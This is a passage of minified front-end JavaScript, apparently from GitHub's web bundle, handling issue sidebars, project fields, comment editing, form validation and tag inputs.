0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const 